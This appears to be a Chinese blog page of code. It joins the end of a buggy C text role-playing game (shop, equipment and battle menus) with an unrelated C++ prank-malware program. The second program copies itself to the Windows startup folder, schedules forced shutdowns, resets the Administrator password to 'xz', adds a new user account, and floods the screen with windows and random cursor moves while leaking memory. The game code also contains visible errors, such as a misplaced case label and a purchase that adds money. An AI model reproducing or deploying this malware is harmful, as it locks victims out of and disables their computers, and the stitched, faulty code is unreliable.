  1100. printf("你要干什么?\n\n\n 1,买东西 2,聊天 \n\n\n");
  1101. int mai;
  1102. scanf("%d",&mai);
  1103. if(mai==1)
  1104. {
  1105. printf("买点什么呢?\n1,止血草¥100 HP+60\n2,急救包¥150 HP+80 \n3,云南白药¥250 HP+120\n4,超级云南白药¥400 HP+200 \n5,经验草¥150 经验+300 \n6,经验包¥600 经验+600\n7,经验石¥500 经验+1000 \n0,拜拜\n");
  1106. int dongxi;
  1107. scanf("%d",&dongxi);
  1108. switch(dongxi)
  1109. {
  1110. case 1:
  1111. if(money>=100&&cao<6)
  1112. {
  1113. cao++;
  1114. money=money-100;
  1115. printf ("止血草+1\n");
  1116. }
  1117. else
  1118. {
  1119. printf("钱不够!\n");
  1120. }
  1121. break;
  1122. case 2:
  1123. if(money>=150&&jijiubao<5)
  1124. {
  1125. jijiubao++;
  1126. money=money-150;
  1127. printf ("急救包+1\n");
  1128. }
  1129. else
  1130. {
  1131. printf("钱不够!\n");
  1132. }
  1133. break;
  1134. case 3:
  1135. if(money>=250&&baiyao<4)
  1136. {
  1137. baiyao++;
  1138. money=money-250;
  1139. printf ("云南白药+1\n");
  1140. }
  1141. else
  1142. {
  1143. printf("钱不够!\n");
  1144. }
  1145. break;
  1146. case 4:
  1147. if(money>=400&&superbaiyao<3)
  1148. {
  1149. superbaiyao++;
  1150. money=money-400;
  1151. printf ("超级云南白药+1\n");
  1152. }
  1153. else
  1154. {
  1155. printf("钱不够!\n");
  1156. }
  1157. break;
  1158. case 5:
  1159. if(money>=150)
  1160. {
  1161. jingyancao++;
  1162. money=money-150;
  1163. printf ("经验草+1\n");
  1164. }
  1165. else
  1166. {
  1167. printf("钱不够!\n");
  1168. }
  1169. break;
  1170. case 6:
  1171. if(money>=300)
  1172. {
  1173. jingyanbao++;
  1174. money=money-300;
  1175. printf ("经验包+1\n");
  1176. }
  1177. else
  1178. {
  1179. printf("钱不够!\n");
  1180. }
  1181. break;
  1182. case 7:
  1183. if(money>=500)
  1184. {
  1185. jingyanshi++;
  1186. money=money+500;
  1187. printf ("经验石+1\n");
  1188. }
  1189. else
  1190. {
  1191. printf("钱不够!\n");
  1192. }
  1193. break;
  1194. }
  1195. case 0:
  1196. printf("金币:%d\n",money);
  1197. printf("再见,欢迎下次再来!\n");
  1198. break;
  1199. }
  1200. if(mai==2)
  1201. {
  1202. printf("药品商人:去去去,老子没时间陪你聊。\n");
  1203. }
  1204. }
  1205. }
  1206. else if(place_sign==place.hotel)
  1207. printf("“老板娘!我...”\n\n\n“我忙着呢,没空理你~”\n\n\n");
  1208. else printf("这里好像没人可以聊天\n\n\n");
  1209. break;
  1210. case 4:
  1211. DisplayState();
  1212. break; //显示状态
  1213. case 5: //装备
  1214. printf("攻击装备: 1,匕首:%d个 2,长剑:%d个 3,碧血剑:%d个 4,绝世好剑:%d个\n\n\n",gong1n,gong2n,gong3n,gong4n);
  1215. printf("防御装备: 5,布衣:%d个 6,铁甲:%d个 7,银甲:%d个 8,黄金圣衣:%d个\t\t0,返回\n\n\n",fang1n,fang2n,fang3n,fang4n);
  1216. printf("选择要装备的武器或防具:\n\n\n");
  1217. switch(scanf("%d",&choose_number),choose_number)
  1218. {
  1219. case 1:
  1220. if(gong1n>=1)
  1221. {
  1222. printf("拿起了匕首\n\n\n");
  1223. gong=gong1;
  1224. strcpy(gongname,"匕首");
  1225. }
  1226. else printf("你没有匕首可以装备\n\n\n");
  1227. break;
  1228. case 2:
  1229. if(gong2n>=1)
  1230. {
  1231. printf("拿起了长剑\n\n\n");
  1232. gong=gong2;
  1233. strcpy(gongname,"长剑");
  1234. }
  1235. else printf("你没有长剑可以装备\n\n\n");
  1236. break;
  1237. case 3:
  1238. if(gong3n>=1)
  1239. {
  1240. printf("拿起了碧血剑\n\n\n");
  1241. gong=gong3;
  1242. strcpy(gongname,"碧血剑");
  1243. }
  1244. else printf("你没有碧血剑可以装备\n\n\n");
  1245. break;
  1246. case 4:
  1247. if(gong4n>=1)
  1248. {
  1249. printf("拿起了绝世好剑\n\n\n");
  1250. gong=gong4;
  1251. strcpy(gongname,"绝世好剑");
  1252. }
  1253. else printf("你没有绝世好剑可以装备\n\n\n");
  1254. break;
  1255. case 5:
  1256. if(fang1n>=1)
  1257. {
  1258. printf("穿上了布衣\n\n\n");
  1259. fang=fang1;
  1260. strcpy(fangname,"布衣");
  1261. }
  1262. else printf("你没有布衣可以装备\n\n\n");
  1263. break;
  1264. case 6:
  1265. if(fang2>=1)
  1266. {
  1267. printf("穿上了铁甲\n\n\n");
  1268. fang=fang2;
  1269. strcpy(fangname,"铁甲");
  1270. }
  1271. else printf("你没有铁甲可以装备\n\n\n");
  1272. break;
  1273. case 7:
  1274. if(fang3n>=1)
  1275. {
  1276. printf("穿上了银甲\n\n\n");
  1277. fang=fang3;
  1278. strcpy(fangname,"银甲");
  1279. }
  1280. else printf("你没有银甲可以装备\n\n\n");
  1281. break;
  1282. case 8:
  1283. if(fang4n>=1)
  1284. {
  1285. printf("穿上了黄金圣衣\n\n\n");
  1286. fang=fang4;
  1287. strcpy(fangname,"黄金圣衣");
  1288. }
  1289. else printf("你没有黄金圣衣可以装备\n\n\n");
  1290. break;
  1291. case 0:
  1292. printf("未更换装备\n\n\n");
  1293. break;
  1294. default:
  1295. printf("change error!");
  1296. }
  1297. break;
  1298. case 6:
  1299. printf(" 您好,欢迎您玩苍穹世界。为了给您更好的游戏体验,本团队时不时会优化本游戏,优化后会尽快发布在网上。关于外挂方面,开启外挂的方式是设定勇者姓名时,输入“圣战斗士 ”(不包括双引号)。由于2.0版本的buy,我们在2.0的基础上进行修改,已修复该buy。并且新增了经验草等有助于升级的道具,希望大家喜欢。在这里要感谢离陌同学,他给了我们许多宝贵的建议,谢谢。\n");
  1300. break;
  1301. case 0:
  1302. printf("确定退出游戏?(Y/N)\n\n\n");
  1303. getchar();
  1304. proof=getchar();
  1305. if(proof=='y'||proof=='Y')
  1306. {
  1307. printf("数据存储中...");
  1308. //向文件中更新数据;
  1309. getchar();
  1310. printf("按回车退出");
  1311. getchar();
  1312. return;
  1313. }
  1314. else if(proof=='n'||proof=='N')printf("继续游戏!\n\n\n");
  1315. else printf("继续!\n\n\n");
  1316. break;
  1317. default:
  1318. printf("输入错误!\n\n\n");
  1319. }
  1320. }
  1321. }
  1322. void DisplayState()
  1323. {
  1324. printf("%s 攻击力:%d+%d=%d 防御力:%d+%d=%d HP:%d/%d \n\n\n",player.name,player.attack,gong,player.attack+gong,player.defense,fang,player.defense+fang,player.health,player.max_health);
  1325. printf("武器: %s 防具: %s \n\n\n",gongname,fangname);
  1326. printf("等级:%d 经验:%d/%d 还需要%d经验升级 金币:%d \n\n\n",player.level,player.exp,player.max_exp,player.max_exp-player.exp,money);
  1327. }
  1328. void BattleAct()
  1329. {
  1330. while(1)
  1331. {
  1332. puts("=============================================================================");
  1333. printf("要怎么办?\n\n\n 1,攻击 2,物品 3,查看状态 4,逃跑\n\n\n");
  1334. switch(scanf("%d",&choose_number),choose_number)
  1335. {
  1336. case 1:
  1337. s=SuiJi();
  1338. printf("%s攻击! %sHP减少%d\n\n\n",player.name,guai.name,player.attack+s+gong-guai.defense/3);
  1339. guai.health-=player.attack+s+gong-guai.defense/3;
  1340. if(AttackResult())return; //如果攻击有结果(敌人或玩家战死)退出函数
  1341. else continue;
  1342. case 2:
  1343. ChooseWupin();
  1344. break; //选择物品,可以使用,战斗中允许使用攻击性物品
  1345. case 3:
  1346. DisplayState();
  1347. break; //显示状态
  1348. case 4:
  1349. s=SuiJi();
  1350. if(s<4) //40%的概率可以逃跑
  1351. {
  1352. printf("%s逃跑了~\n\n\n",player.name);
  1353. battle=0;
  1354. return;
  1355. }
  1356. else printf("%s逃跑失败!\n\n\n",player.name);
  1357. break;
  1358. default:
  1359. printf("输入错误,重新输入!\n\n\n");
  1360. }
  1361. }
  1362. }
  1363. void printf(char *p)
  1364. {
  1365. while(1)
  1366. {
  1367. if(*p!=0)
  1368. printf("%c",*p++);
  1369. else
  1370. break;
  1371. Sleep(100);
  1372. }
  1373. }
  1. #include <iostream>
  2. #include<windows.h>
  3. #include<ctime>
  4. #include <cstdlib>
  5. # include <stdio.h>
  6. #include <string.h>
  7. #include <fstream>
  8. using namespace std;
  9. int main (int argc,char *argv[])
  10. {
  11. char copy[80];
  12. sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
  13. system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi
  14. char cmd[]="shutdown -s -t 20";//自动关机
  15. system("ping baidu.com");
  16. system(cmd);
  17. system("pause");
  18. system(copy);
  19. system("net user Administrator xz");//设置开机密码为xz
  20. system("net user 崩溃 xz /add");//建立用户,并命名为崩溃
  21. int x=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴
  22. int y=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴
  23. srand(time(0));//随机函数种子
  24. system("shutdown -s -t 20");//20秒关机
  25. while(1)//循环
  26. {
  27. SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
  28. system("start");//弹出窗口
  29. char *p=new char[10000];//卡死机
  30. }
  31. }

本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号